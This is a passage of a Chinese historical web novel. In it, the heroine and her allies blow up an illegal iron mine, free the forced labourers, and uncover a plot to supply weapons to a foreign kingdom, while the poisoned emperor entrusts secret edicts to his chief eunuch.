守门的两个黑衣人发现叶晚竹的时候她已经冲到了近前,还没来得及叫嚷,便被叶晚竹手起刀落地了结了性命。 不过他们就算是喊也没用,外面打成一团,根本什么都听不到,也没人顾得上回头。 叶晚竹一个箭步便冲进了这个所谓的仓库之中。 外面戒备森严,这片小房子倒是安安静静,空无一人。 房门都被粗重的锁链锁着,叶晚竹暴力破开几扇窗户,很快便发现了自己要找的东西。 几箱黑黝黝的炸药被放在角落,屋中还散落着几件兵器。 就在这时,外面的打斗声渐渐地平息下去。 是谁赢了? 那些后来加入的黑影又是什么人? 叶晚竹顿时警惕起来。 “王妃。” 有几分熟悉的呼唤声响起,叶晚竹不由得一愣。 透过窗户,方才的那几个黑影正朝这边走来,暴露在外的皮肤处处沾满了鲜血。 领头之人举着从外面夺过来的火把,亮光映出了一张熟悉的脸。 “谢逸?”叶晚竹顿时又惊又喜,“你,你们怎么也在这儿?” 再往后看看,那些给商队护镖的,谢无咎的手下大半都在这里。 谢逸脸上多了一道已经愈合的伤疤,看起来,先前那一次他们一定经历了一场苦战。 “时间不多,出去再说吧,”他撑着窗棂翻进屋中,“王妃,您这是打算做什么?” —— 山顶暗牢前,隐风听着官差们后院起火的动静,眼神一闪也冲了上去! 前后夹击! 这些来山顶增援的人不知道为什么都是闵镇的官差,武艺稀松,胆小如鼠,连一个隐风都能把他们镇住,更别说这突如其来的背后袭击。 没多少功夫,这些官差们便被打得丢盔弃甲,只剩抱头鼠窜的力气了。 隐风也抬头朝来人看了过去。 他刚刚还以为是王妃和隐川听到这边的动静赶了回来,没想到眼前却是另外的几张脸。 “你们怎么在这儿?”他忍不住瞪大了双眼。 谢逸的几个手下笑着走上前来,细看去,他们身上和脸上都添了不少伤疤,人也清减了。 “你们怎么也被抓到这个地方来了?” 这边带队的叫谢尔,从前在东厂的时候,和隐风还有几分交情。 “也?”隐风皱了皱眉,“这到底是什么地方?” “问得好,我们也不知道。” 几个人同时耸了耸肩,谢尔将目光投向了山洞暗牢。 “说吧,你们打算怎么做?”他冷笑一声,“藏了这么久,我们早就等一个机会,让这群狗东西尝尝教训了!” 隐风正要开口,山间小道上忽然又有声音传来,片刻之后,隐川提着一把沾血的长剑,独身一人出现在几人面前。 双方都是一愣。 “王妃呢?”隐风脱口而出。 —— 叶晚竹已经和谢逸几人联手搬空了仓库里能找到的所有炸药,顺便听了更多关于矿山的消息。 黄县令带人私自挖矿是板上钉钉的事实,而那些黑衣人其实才是幕后策划这一切的主使。 “从发现这座矿山到现在,他们少说也在这里开采了几个月的时间,挖出的铁矿数不胜数,都被这些黑衣人押运着,不知道送到什么地方去了。” 谢逸等人已经在山中潜藏了一个多月,一直在想办法营救暗牢中的商队成员。 无奈这些人经验丰富,处处戒备森严,他们一直找不到合适的机会。 直到今天。 “那闵镇中传言所说的偷矿贼又是怎么回事?”叶晚竹又想起了一件事。 谢逸苦笑了一声。 “应该就是我等,当时我们刚找到这里,试着混进里面救人,没想到这些黑衣人内部处处是口令暗语,一下就被发现了,只能仓惶离开。” “幸好矿山里面的两股势力互相看不顺眼,合作起来满是破绽,才让我们找到了机会。” 叶晚竹懂了,那小二当时说的犯人被抓到,还收回了一车铁矿石云云,大概就是黄县令对外的春秋笔法了。 不是铁板一块,对他们来说便更是好事一桩。 “那些黑衣人一般都在什么地方,有没有头领?”叶晚竹转而又换了个问题。 谢逸一行已经在山中埋伏了许久,将矿山的情况摸了个清清楚楚,倒是不用再耽搁时间。 听他很快报出一个位置,叶晚竹点点头,伸手一指被搬到院中的炸药。 “那就从这个地方开始炸起吧。” “留两个人跟我去安放炸药,剩下的人都去山顶暗牢救人,若是路上发现有黑衣人,能杀的全都杀了,但不要对闵镇的那些官差们动手。” 谢逸只思考了一瞬就明白过来,“您要离间他们?” 叶晚竹冷笑着点了点头。 “来而不往非礼也,算计了我这么久,他们也该尝尝这到底是什么滋味了。” 这些黑衣人看不起闵镇的官差,官差们对此未必就没有半分怨言。 况且,比起黑衣人这样孟希越的忠心下属,黄县令和衙门中人毕竟是朝廷派下的官员。 若是知道自己的亲信尽死,废物官差们却都活着,孟希越会怎么想呢? 叶晚竹等着看他削尖了脑袋查一场根本就没有发生过的背叛的模样。 “对了,还有一件事……” 长夜即将过去,天边光亮隐隐约约,却忽然被一片炸眼的白冲破了视线。 “轰!” “怎么回事?” 巨大的爆炸声立刻随之响起,矿坑中,监工的黑衣人们惊恐地抬起头来。 震颤从四面八方传来,头顶的石壁也跟着不停地晃动。 “轰!轰!轰!” 爆炸接连不断,黑衣人们的面色也跟着越发变幻多端。 “肯定是出事了!” 一人丢开手中的鞭子,快步朝上跑去,一边大声吆喝,“都不许动!立刻放下你们手里的工具,回房间去!没有命令不许出来!否则就砍了你们的脑袋!” “老乡们!上面的畜生都已经被炸死了,不想给他们继续卖命的,就跟我来!咱们出去!” 第一百七十一章 我要出去! 林婉君曾经是闵镇里再普通不过的一个姑娘。 生活在闵镇这样的地方,就是平静但毫无波澜,所有人都按部就班地出生,存活,然后死去。 林婉君遵循着这样的原则活到了二十岁,拥有了平淡的丈夫和两个同样平淡的孩子。 然后她的生活忽然就变了。 起初是衙门张榜招工,说是需要大量的苦力,工钱给得十分丰厚。 林婉君的丈夫是个木匠,别的没有,一身力气管够,想也没想就和几个朋友一起报了名。 去外面干活挣钱,这也不是头一次,家里无事,孩子们都长大了,林婉君除了叮嘱几句,倒也不算担心。 衙门给出的工时是三个月,第一个月一切安好,林婉君的丈夫每十天能休息一次,回家来便能带着银子。 挖矿虽然辛苦,但看到丰厚的工钱,他还是十分有动力的。 等到了第二个月,矿山那边忽然传出消息,说因为被偷矿贼混入,整座山都要被封锁,不再允许任何人出入。 回不了家,丈夫便改为五日往家中送一封信,只是银子却暂时拿不回来了。 林婉君正等着三月期满,好让丈夫赶紧回家,一个晚上却忽然有人敲响了她的家门。 是和丈夫一起去干活的朋友,他断了一条胳膊,满身是血,一头栽倒在林婉君家的院子里。 “出,出事了!老赵让你带着孩子,马上离开闵镇,永远也别回来!” 这是什么话? 林婉君惊呆了,可她还想再问,一批身穿黑衣的蒙面人忽然出现在院子里! 他们一把将那个报信的朋友抓起来打晕过去,还没等林婉君反应过来,自己背上也挨了狠狠一棍! 再睁开眼,她便发现自己也到了这矿山之中,成为了苦力的一员。 这里还有很多女人,出现在矿山的理由也多种多样,没人知道她们为什么会在这里,只有鞭子不停地在身后催促,让她们挖下去,再挖下去。 没人会和她们说话,也没人会理会她们。 活着就去挥锄头,死了,就被拖走扔到看不见的地方。 林婉君不知道自己消失后外面怎么样,她甚至开始逐渐忘记自己在外面曾经是怎么生活的。 直到现在—— 上方有力的女声传来,还伴随着先前那个黑衣人惨叫一声,中箭从半空坠落发出的闷响,林婉君猛地抬起了头。 出去? “出去?” 身旁也有人窃窃私语。 “真的还能出去?” “这帮乱臣贼子,假冒官府招摇撞骗,现在朝廷已经知道了闵镇发生的事情,特派钦差大臣前来调查,我就是来救你们的!” 叶晚竹一箭射穿了冲上来的又一个黑衣人,看着下方衣衫褴褛的苦力们,又抬高了几分声音。 “留在这儿迟早也是死,跟他们拼了,冲出去!” “就是!他们害死多少人了!” 谢逸的两个手下和叶晚竹藏在不同的地方,扮成苦力的模样嚷嚷着。 大概是被谢逸救人的举动吓到,矿山的这些惊弓之鸟将整座山,甚至是整个闵镇都牢牢地看管了起来,不允许人员出现半点流动。 在这样的情况下,原本是被雇来挖铁矿的百姓们离不开矿山,黄县令和黑衣人之流也渐渐发现,好像不用给他们发工钱,也可以让他们继续劳作下去。 反正走不了! 矿山里究竟有多少苦力,谢逸他们蹲守了一个月也没查清,倒是发现了他们会把闵镇中所有敢于提出意见,或者是发现了什么问题的人都抓到这儿来免费采矿。 说是敲骨吸髓也不为过。 叶晚竹当即决定利用一下这些苦力,多制造点混乱,还能让他们重获自由。 “都跟我走,我带你们出去!” 挥舞着抢来的火把,叶晚竹亮出身形,顺便又是一剑刺穿了冲上前来的黑衣人。 “冲啊!冲出去!” 苦力群中渐渐有了响应的声音。 “我要回家!我要回家!” “我是被抓来的,我才不要在这儿呆着!” “杀了这帮狗贼!” 黄县令和黑衣人们见不得这些苦力有多一点的休息时间,此时天刚蒙蒙亮便已经催促着他们起来干活。 镐子锄头都发到了个人手里,不知道是谁先起的头,一众苦力们纷纷朝着附近的黑衣人和官差们动起了手。 黑衣人们自认早就已经把这些苦力鞭打得没有任何反抗的本事,这会儿对方忽然暴动,方才知道什么叫寡不敌众。 便是他们有再高的功夫,被苦力们东一榔头西一棒子地抽打着,也顶不住! “跟我来!往这边走!” 叶晚竹从半山腰跳下,清除着路上的障碍和苦力们汇合,带着他们一路往矿山的入口而去。 苦力们也还有不少是先前自愿前来的,看着叶晚竹前进的方向,对她一时间又多信任了几分。 谁也不知道这里有多少苦力,随着他们一路向前,原本沉寂无声的矿洞和大山都变得哗然喧嚣起来。 苦力们纷纷从矿坑爬回地表之上,看着几处被炸得稀巴烂的房子,还有惊慌失措的黑衣人们,忍不住更加群情激奋。 “狗东西,打死你们!” 山上黑衣人住宿的地方已经被谢逸带着手下炸了个底朝天,余下这些一时间成不了太多气候,叶晚竹放任苦力们发泄着怨气,自己往入口处去。 闵镇的官差也不能全无作用,已经又将那扇高不可攀的铁门升了起来。 “小姐!” 隐风隐川双双站在那里,看见叶晚竹现身,都长长地舒了一口气。 “谢尔带着人把商队的成员都往深山里转移了,他们在那里躲了一个月,安全得很!” 隐风的语气透着一丝难得的兴奋。 “小姐,咱们现在怎么办?” 被人撵着逃了一路,还不得不改头换面,这种憋屈,隐风早就受够了! 隐川虽然没说话,眼底也绽放着精光。 “炸药都准备好了吧?” 叶晚竹看向两人身后,铁门四周都放上了黑色的小方盒子。 “搞一扇这么高的门,以为就能把所有人拦住了?” “退后,我数到三,就炸!” 第一百七十二章 活下来的人 听见外面又传来“轰隆”一声响,黄县令躲在自己屋中,忍不住抱起脑袋,猛烈地哆嗦了一下。 怎么,怎么又在炸? “这回又是哪儿!”他捶着桌子狂吼一声。 一个时辰前那爆炸声便开启了噩梦般的一天,黄县令这会儿听着外面传来的乱子,简直不愿意相信这是真的! 怎么会忽然就乱了呢? “大人……好像,好像是大门!”一个官差扶着自己的帽子,战战兢兢地冲到黄县令身边。 黄县令闻言差点儿咬了自己的舌头! “大门?” 他蹭地一下跳起来,喊声也破了音。 “怎么都让他们冲到大门了?人呢?那帮子穿黑衣服的呢,不是很厉害吗!” 前来送信的官差哭丧着一张脸,“他们的营区被炸了,人都不知道死了多少,而且来救人的那些里也有高手!最关键的是苦力太多了,打不过啊!” 官差们也不是没加入过战斗,可那些苦力疯了一样挥舞锄头,他们愣是不敢上前! “大人,现在怎么办啊大人!”他声音里都带上了哭腔。 黄县令一脚把这官差踹到了一旁。 “你问我我问谁!”他扯着嗓子喊,“去,马上派人把入口守住,就算是死也不能把这些人放出去!” 让他们出去嚷嚷,这里就完蛋了! 那个官差连滚带爬地从地上起来便要往外跑去,还没等碰到房门,又是一声爆炸冲天而起! “怎么还在炸!” 黄县令现在听见这个声音就腿肚子打颤,整个人都不好了。 听着外面的混乱,他咬一咬牙,从柜子里翻出一把短刀攥在手里给自己壮胆,而后便大步朝外走去。 “走!这就随我过去看看!” —— “小姐!山顶放信号了,他们全都走了!” 这个时候,叶晚竹和隐风隐川站在被炸开,又重新炸塌了的入口上方。 隐川抬手指了指山顶暗牢的方向,一道暗紫色的信号无声无息地从天空中滑落,昭示着谢尔等人的任务已经完成。 再看这边,苦力们离开之后,叶晚竹重新炸开了周边的一小部分山体,将原先的出入口彻底堵死了。 矿区只有这唯一的一条通路,眼下,黑衣人和官差们都已经成了瓮中之鳖。 叶晚竹垂下目光朝试图挖出一条通道的官差们看去。 宁捕头已经被谢尔等人抓住,她现在要等的人是黄县令。 闹出了这么大的乱子,苦力全都跑了,手下也死得七七八八,黄县令没有理由不出现吧? 目光逡巡着,叶晚竹很快便停了下来。 来了。 黄县令踉踉跄跄地一路跑来,看着身边这副尸山血海,焦骨烂肉的场景,他已经不知道吐了几回,连酸水都吐不出来了。 等看到原本是入口的地方已经变成了一片废墟,黄县令双腿一软,扑通一声倒在地上。 这该如何是好? 黄县令这会儿有点想不起来自己是来干什么的了,他只是呆滞地看着那望不到头的山石泥土。 这下他也出不去了! 怎么办,怎么办—— 正六神无主着,黄县令眼前忽然一黑,还没来得及反应便被人拦腰抱了起来! “大人!”跟着他一路跑来的那个官差顿时发出一声惊叫! “在那儿呢!” “是他们!是他们!” 乱七八糟的喊声从地面方向传来,离自己却越来越远,黄县令头晕脑胀之间,又听见一声爆炸的巨响! “轰!” 他浑身一颤! 还炸? 还炸! 没完没了了! 干脆把这座矿山炸没算求! 脚下一重,身子一软,黄县令又扑通一声躺倒在地,盯着天空看了半天才回过神来。 “黄大人,我们又见面了。” 一张又黑又红的,熟悉的脸倒着出现在他眼前。 黄县令嗷地一嗓子就跳了起来。 “你,你!” 叶晚竹笑眯眯地又把腰弯得低了一些。 她脸上满是爆炸溅起的烟尘,还有那些黑衣人身上的血,混合在一起,让人几乎辨认不出她的模样。 黄县令连滚带爬地往后退了好几步,又大口喘着粗气,片刻后才认出眼前的人是谁,表情变得极其难看。 怎么是这个该死的女人? 矿山上的动乱是他们弄出来的? 黄县令的目光惊疑不定地在叶晚竹和隐风隐川的面上来回扫视。 还有—— “姐,姐夫!” 一声哆哆嗦嗦的喊声响起,隐风反手把宁捕头从身后拖了出来。 宁捕头身上没有什么伤痕,衣裳也是完好的,只有一张惊惶失魂的脸显示着他方才都经历了什么不美好的东西。 他双膝一软,没等坚持走出两步,便直挺挺地朝着黄县令跪了下去。 黄县令不得不咬牙扶住这烂泥小舅子。 “你们到底要干什么?”他抬头看向叶晚竹,“事已至此,要杀要剐随你们的便吧!我是什么都不会说的!” “我——” 宁捕头闻言浑身一哆嗦,想说什么,黄县令放在他胳膊上的手却猛地一个用力。 他只能讪讪地住了口,一双眼睛却欲语还休地朝叶晚竹看了过来。 他知道的都会说,能放他一马不? 宁捕头是被隐风拎在手里,从山顶暗牢一路带到这儿来的。 对这样一个怪力之人,宁捕头自认再没有半点想与之抗争的念头。 这位再多用点力气,只怕马上就能把他掐死! 他斗不过,不斗了还不行吗! 他才不想跟着这个一根筋的姐夫找死啊! “我知道我知道!我——” “你们走吧。” 还没等宁捕头把话说完,叶晚竹忽然出声。 “……啊?” 宁捕头一脸呆滞地看着她,怀疑自己的耳朵是不是出了问题。 “你让我们走?” 就这么放他们走了? 这三个人是来救他们的? 宁捕头的脑子转不过弯来,表情越发痴蠢。 黄县令的眉头却紧紧地皱了起来,看着叶晚竹唇边的笑容,已经明白了她的用意。 “你们好恶毒的心思!”他愤愤地道。 叶晚竹只是挑了挑眉。 “你不走,那我们可就走了。” “等会儿你的同党找上来,你就自己想办法逃生吧。” 第一百七十三章 钦差大人!我有大事相告! 矿区里存放着的炸药就那么多,怎么也不可能把所有黑衣人全都炸死。 况且,隐风刚才当着他们的面儿把黄县令救走了,活下来了的黑衣人们,这会儿应该已经开始漫山遍野地找人了。 是一会儿被抓住马上就死,还是逃一阵子,说不定能不用死? 黄县令连选择的权利都没有! “送我们下山,现在!”他恶狠狠地瞪着叶晚竹。 这个该死的女人,把他逼到了这样的境地! 叶晚竹眼中闪现着早知如此的笑意,又做了个手势,让隐风隐川上前将两人拎了起来。 “下山的马车还在那个地方等你们,别收拾细软了,直接逃命吧。”她笑得眉眼弯弯。 这副表情看在黄县令眼中,比恶鬼还恶鬼! “我夫人还在府里,还有孩子,我得带她们一起走,否则,那些人不会让她们好死的!”他攥了攥拳头,鼓起勇气。 再怎么说也是结发夫妻,亲生女儿,看着她们去死,黄县令做不到。 “姐夫你……” 宁捕头却欲言又止,眼神闪烁。 矿山已经离开了闵镇的范围,从这里直接就可以上官道逃跑,还绕回闵镇去,那不是浪费时间吗? 可那又是自己的亲姐姐,宁捕头想来想去,还是没把话说完。 黄县令却扬手一个耳光摔在他脸上! “要不是你这个蠢货坏事,我至于逃跑吗?” 事到如今,竟然还只想着自己! 宁捕头捂着脸不敢作声,也看不出来到底服气了没有。 “走吧,快点!”黄县令果断决定。 叶晚竹这时候拍了拍巴掌。 “你还不错,”她看了黄县令一眼,“知道护住家人。” 黄县令莫名地生出了一种受宠若惊的感觉。 “不过时间太紧张了,”叶晚竹听了听周遭的动静,“这样吧,你们先走,你的妻女我会让人送上去的,我保证。” 黄县令的表情又变幻莫测起来。 她保证? 他竟然要听一个一手坑害他至此的贱人的保证? 可眼下除了相信这个女人,他已经没有别的办法了。 “行,你要是做不到,我做鬼也不会放过你!”黄县令用力喘着粗气,一边又思索着,“我们要去——” “别说。” 叶晚竹及时打断了他的话。 “什么都别说,走就是了,我的人自有办法。” 说着话,叶晚竹的目光又凉凉地落在了宁捕头身上。 黄县令也看了一眼这个颇具人形的小舅子。 刚刚他可是要毫不犹豫地反水来着。 “走吧!” 隐风隐川带着两人先行离开,很快就消失在山林尽头。 叶晚竹朝着相反的方向走了几步,在一个安静的地方停了下来。 “出来吧?”她转头看向身后,“这里很安全。” 从宁捕头想大喊大叫的时候,叶晚竹便听到有一个脚步声,蹑手蹑脚地一直跟在他们后面了。 随着她话音落下,一个影子小心翼翼地从树后探出头来。 “你,你是钦差吗?我叫林婉君。”来人的声音止不住地哆嗦着。 叶晚竹这才想起她刚才鼓动苦力们时编的理由,再看看林婉君衣衫褴褛,遍体鳞伤的模样,显然她也是其中之一。 “我是,”叶晚竹连眼睛都没多眨一下,“怎么了?” 下一刻,林婉君扑通一声跪倒在她面前。 “钦差大人,我知道了一件大事,非常大!” 隐风和隐川把黄县令二人安全送到了马车上,又背着宁捕头,递给他一个小瓶子。 “只要你还带着这个东西,我们就能找到你。” 隐风说着话,忽然抬起头来,目光极其锐利地扫了黄县令一眼。 “你不带我们也能,只是要花些力气。” 而让这两个人额外花了力气,会带来什么结果,可想而知。 黄县令当即就一把将瓶子深深地塞进了怀中。 “走吧,动作快点!”隐川一把将他推搡进了车厢里。 车夫甚至还是送他们过来的那一位,早就吓得两股战战,面无人色,闻言哆嗦着一甩缰绳,没命般地催起马来。 他不是给衙门干活的吗? 这待遇怎么一路朝着逃犯去了? 黄县令被颠簸得猛地一个趔趄,双眼却直勾勾地看向还在冒烟的矿山方向。 那里面灯火通明,一看就是正在紧锣密鼓地安排着什么。 但暂时都和他没有关系了。 他还能活多久? 不知道,走着看吧。 车道尽头,目送着马车渐渐消失不见,隐风先收回目光,抬头看了看天空。 “小姐怎么还没下来。” 就算叶晚竹轻功没那么好,也不该耽搁这么久。 难道是出事了? 二人神色一凛,不过,还没来得及再做什么,便看见他们正在等待的那个身影从不远处的树林中一跃而下。 她却并未立刻朝这边靠近,而是转过身子接了另外一个人影。 而后还有第三个。 后两个人的动作都很慢,跌跌撞撞的,似乎是受了伤,第三个人双脚落地时还踉跄了一下。 阳光洒下,照出了他空荡荡的一只袖管。 再看另一个女子,显然是个刚逃出来的苦力。 “小姐,这,这是……”两人都用疑惑的眼神看向叶晚竹。 “这里不是说话的地方,先找个地方落脚再说。”叶晚竹淡淡地一点头。 这个叫林婉君的姑娘自称有大事要说,但要她先去把这个叫吴泽的独臂男子带出来,为此花了叶晚竹不少时间。 吴泽虽然看上去也像是被黄县令抓来采矿的苦力,但却并不在矿山之中,而是藏身在附近的林中。 此时已是天光大亮,就这么回闵镇肯定不现实,一行人索性如法炮制了离京那天,在山中来回寻找了一番。 这次没有废弃的小木屋给他们,倒是又找到了一个不大不小的山洞。 确认无人发现,又将洞口封好,叶晚竹终于能坐下来,认真地看看出现在自己面前的这两个人,顺便把来龙去脉告诉隐风和隐川。 被叶晚竹看着,两人面上都出现了惶惶不安的情绪。 “现在可以说了,你们要告诉朝廷什么?”叶晚竹缓缓开了口。 第一百七十四章 帝危在旦夕 林婉君和吴泽互相看了一眼,而后都朝着叶晚竹跪了下去。 “钦差大人,”林婉君语气哽咽,“我的丈夫,我的丈夫被矿山里的那些人害了!” 叶晚竹静静地看着她,并未立刻出声。 若是这样,那这个独臂男人又是谁? “草民吴泽,和受害的赵忠是发小,也是邻居。” 大概是看到了叶晚竹的目光,吴泽也开了口,“我们都被那假官府的人骗来采矿……” 吴泽蓬头垢面,眼神涣散,一看就不知道已经在这深山老林里藏了多长时间。 他大概也很久没有和人说过话了,一个句子要颠三倒四地重复好几遍,饶是这般,叶晚竹三人理解起来也颇为费力。 按照吴泽的意思,他们起初采矿的时候还算正常,后来矿山被谢逸等人吓得禁闭戒严,他们这些苦力要做的事情就越来越多了。 像是一开始根本就不会让他们靠近的,负责运送铁矿石和炸药进出矿山的活计,也被派给了他们。 一天晚上轮到吴泽和赵忠去推车,二人的任务原本是把放满矿石的板车推到矿区门前,谁知怎么阴差阳错,他们和官差站错了位置,被一人发了一件黑袍子,穿上离开了矿山! 跟在那些黑衣人身后也还是推车,不过不是未经打磨的矿石,而是一个又一个上了锁的铁箱,看上去十分神秘。 这样的推车一共有五辆,每人身边都围着三个黑衣人,六只眼睛活像要把他们看穿。 没有任何逃跑的可能,吴泽和赵忠甚至不敢出声,生怕被这些黑衣人发现声音不对劲。 心惊胆战,又累死累活,两人愣是把车推出了一个山头,才在几辆囚笼一样的马车前停了下来。 从马车又转到坐船,而后又变成另外一辆马车。 颠簸了整整一晚上,直到天亮才走进一间屋中,吴泽和赵忠头昏脑涨,却又立刻清醒了! “那里已经不是闵镇,不对,也不是南郡,甚至不在大梁了!” 回忆起当时的场景,吴泽的声音依然在不住地哆嗦着。 “他们把我们带到南疆去了!” “你说什么?”隐川坐直了身子,“南疆?” 吴泽拼命地点着头。 “对!那里的人说的都是我们听不懂的话,那个领头的黑衣人跟那个屋子的主人见面的时候,说让他替自己的主子给南疆王问好!” 叶晚竹和隐风这下也猛地坐直起来。 黑衣人的主子是谁? 孟希越! 他给南疆王问好? 他们竟然私下有联系! “然后呢?”叶晚竹忙道。 “然后,然后他们说了两句客气话,那个南疆人就让黑衣人带他去看看箱子里的东西。” “箱子里是什么?”隐风接替着追问。 吴泽咽了咽口水,“是……是刀!” 五箱码得整整齐齐,放得满满当当的长刀! “那刀是南疆军用过的款式,南疆人打到过闵镇,我们都见过!这些狗娘养的在给南疆人造兵器!”吴泽短促地低吼着,胸膛起伏,又怒又怕。 叶晚竹的呼吸也变得粗重了几分。 孟希越表面上领军剿灭南疆军,背地里却瞒着朝廷,用大梁的人力物力,给南疆人造武器。 他想干什么? “你继续说。”暂且稳住心神,叶晚竹尽量保持声音的冷静,“后来呢?” 吴泽抿了抿嘴。 “送了那些武器,我们又原路往矿山折返,还在南疆的时候,老赵趁他们不注意,悄悄跟我说一定要跑。” 他们本就是走错了地方才跟着前来,现在又看见了这么多不该看见的东西,只要矿山这边一发现,必死无疑! “回来的时候什么也没有了,黑衣人也不那么盯着我们,进到山里之后,找了个机会,我和老赵就开始跑。” “马上就被发现了,那些人像鬼一样追上来,老赵参过军,和他们纠缠在一起,让我趁机逃走了……” “我跑回镇上找林氏报信,可惜还是被那帮人跟上,连林氏都一起抓回了矿山!” “老赵被他们杀了,他们也要杀我,一刀捅上来,我却不知道为什么没死,我找了个地方躲着,一直躲着,直到昨天晚上出事……” 吴泽趁乱混进了矿山,又找到了幸存的林婉君,听她说是有钦差前来,于是便想出了这样一个办法。 “钦差大人,”林婉君抬起头,脸上已经满是泪水,“这些人杀人放火,还背叛朝廷,您一定不能放过他们!” 这也是林婉君第一次听到夫君的遭遇,她浑身打着哆嗦,却又攥紧拳头,强行忍住。 “大人,请您为我们讨回公道!” 吴泽的声音也哽咽着,“我们被关在这里拼命干活,他们根本就是在往死里折磨人!” “你们两个的话我都记住了。” 叶晚竹的声音很冷。 “放心,该收拾的人,朝廷一个都不会放过的!” 她不管孟希越还要做什么,手握这条线索,他只有受死这条路能走得最痛快! 又安抚了一会儿两人的情绪,待他们安静下来,半个时辰后,谢尔便循着隐风留下的路标找了过来。 “都安顿好了,”他微微喘着气,“在闵镇隔壁的银泉县,暂时没有发现那些黑衣人存在的痕迹。” 救出商队之后,他们便先行转移,听着这话,叶晚竹心里的大石头总算是落了下来。 又简要提了一下林婉君和吴泽的情况,马车已经等在外面,叶晚竹便打算起身离开。 谢尔这时候却将一个眼神甩了过来。 让隐风等几人先行,叶晚竹留在最后,看着谢尔从怀中掏出一个蜡丸。 “王妃,这是京中送来的消息,应该是主子给的。” 谢无咎封蜡的手法与众不同,蜡丸送到,暗卫们一眼就认了出来。 叶晚竹闻言连忙拿了过来,一把将外壳捏碎。 她上一次送回京城的信,不知道能起多少作用? 一心二用着,叶晚竹将纸团展开,而后便立刻愣住了。 “王妃亲启,帝危在旦夕,所中毒药有成瘾性,极大可能来自南疆,药方未知,需大量草药医书,以期调配解药之可能……” 第一百七十五章 你必须坚持 京城。 谢无咎脚步沉沉地走在前往乾清宫的路上。 玄袍金蟒在身,他依旧是那个不怒自威的九千岁,眉宇间却多了一道松不开的褶皱。 昭德帝的情况不太好了。 从柔妃那里找来的药粉已经全都用完了,东厂的人迟迟找不到郭嬷嬷的踪迹,如今一晃十多天过去,圣上已经开始朝着柔妃的那个方向发展。 他控制不住自己的嘶吼挣扎,屋外的宫人和御林军不得不全部退离乾清宫,再换上一水儿的东厂锦衣卫。 这副模样看上去更像是谢无咎要夺权篡位了似的。 朝中和京中对此的反应也越来越大,孟希越本人虽然没再出现,可暗中的手段绝不会少。 如今,要求圣上亲自出面和群臣沟通的,和要求谢无咎立刻滚出皇宫回到东厂的人各占一半——算来其实是一样的。 昭德帝的状态根本不足以支撑他公开露面,更别说帝王身染怪毒会带来怎么样更加严重的恐慌了。 若说孟希越不知道其中的猫腻,又或者他没有参与其中,谢无咎都想笑。 事到如今,孟希越的意图已经明显得不能再明显了。 可谢无咎还是要等。 他要等到孟希越彻底图穷匕见,再也不掩饰自己的真实意图。 想踩在他谢无咎的头上,欺世盗名? 做梦! “九千岁,您来了。” 万般思绪转过,等再次来到乾清宫门前的时候,谢无咎已经恢复了一本正经的模样。 在门前迎人的是福顺公公的干儿子,一清公公,他面上挂着一个僵硬的假笑,难看得要命。 谢无咎沉默片刻,还是忍不住伸手一把抹在他脸上。 “不会笑就别笑了,德顺公公怎么样?” “不好。” 一清小公公本来就没什么心思,这一下变得更加垂头丧气的。 “公公整日守着圣上,小的怕他老人家先熬不住——” “诶诶诶!” 谢无咎紧急抬高声音,拦住一清公公的话。 “乌鸦嘴,赶紧给本督闭上!”他斜晲过去,“等会儿德顺公公听见你这么咒他,小心你的一身皮!” 九千岁一颦一笑仿佛与平时一般无二,可一清公公这么看着,心情却更加低落了。 “您进去吧,小的在这儿守着。”他后退两步,将通向大殿的路让了出来。 谢无咎脸上故意为之的笑容也淡了淡,大步朝殿内而去。 推门进屋,他迎面先看见了几扇高大的屏风,将屋中的景象遮挡得严严实实的。 殿门前空无一人,谢无咎也见怪不怪,绕过屏风,方才彻底停下了脚步。 往日放着书桌书柜的地方,如今只有一座一人高的铁囚笼,每根铁棍都有手腕那么粗。 这是为了关押发狂的柔妃时想出来的办法。 谢无咎立刻往笼中看去,果不其然,对上了一双疲惫的眼睛。 “来了?坐吧。” 昭德帝席地坐在铁笼中,浑身上下都被汗水浸透,一丝血迹也正顺着唇角流下。 这副模样,显然是刚刚经历了一场毒性的发作。 谢无咎难得没挂起那似笑非笑的模样,看着眼前憔悴得不成人形的中年男人,忽然有些不敢认了。 昭德帝天生脸嫩,即使年龄已经上来了,只要不端起帝王的架子,看起来仍是一副年轻俊朗的模样。 可如今,那模样却已经一点儿都看不出来,甚至比他实际的年龄看着更加衰老和虚弱。 “不想坐?那就站着说话吧。” 见谢无咎愣愣地站在原处,昭德帝大概知道他在想什么,却并不在意。 他长长地舒了一口气,靠在铁笼上道,“最近外面的情况怎么样?孟希越消停了没有?” 这问话仿佛在朝会之上,谢无咎回过神,避开了昭德帝的眼睛。 “情况不好,”他冷哼一声,“而且不好的很!景平王府那几个蠢货,被孟希越耍得团团转,都跟在他屁股后面,替他造势呢!” “皇上,您再不好起来,他们恐怕真要把微臣和东厂的人挨个砍了。” 昭德帝却轻笑一声。 “朕好不起来了。”他回应得堪称铿锵有力,“你别指望朕,自己想办法吧。” 谢无咎猛地一皱眉,又舒展开来,“我已经让人去南疆找解药了,陛下多坚持一日是一日,总会有办法的。” “没办法的,朕最清楚,你也不要骗自己才好。” 昭德帝仍是毫不留情地摇了摇头。 “这毒药侵蚀了朕的身体,这不是能好起来的感觉。”他又瞅了谢无咎一眼,有些严厉,“再说,发展下去会是如何,你不是已经在柔妃身上看到过了吗?” 谢无咎想起了柔妃如今的模样,用十根手指头,硬生生地挠烂了自己一身的皮肉。 “我——” “行了,朕难得有一阵子清醒的功夫,没时间听你伤春悲秋的。” 谢无咎还想说什么,却被昭德帝一摆手打断了。 “福顺,”他看向一旁,“把那两样东西都拿过来,交给九千岁。” 福顺公公也瘦的只剩下一副骨头架子了,连走路都有些不利索,摇摇晃晃地端着一个托盘来到谢无咎面前。 两卷密封完好的明黄卷轴被放在里面。 谢无咎一愣之下,又调转目光向昭德帝看去。 “拿走,别让任何人知道,这是密旨。” 谢无咎入殿不过几句话的功夫,昭德帝说话的时候便出现了低低的喘息声,人也跟着颤抖起来。 “你爱胡说八道,朕不管,但这件事,你必须给朕坚持下去,朕知道你会的,但你要给朕保证!”他一双眼死死盯着谢无咎,眼底的理智渐渐开始消散。 谢无咎一把抄起那两副卷轴,举过头顶跪了下去。 “微臣领旨。” 片刻之后,将凄厉的吼叫声抛之脑后,谢无咎怀揣着两份密旨,神情晦暗地从乾清宫大步走了出去。 殿门院门再次被死死锁住,他脚下飞快,不过须臾便穿过层层宫墙,回到了东厂之中。 进入属于东厂的大殿,阵阵喧嚣声便隐隐约约从外面传了进来。 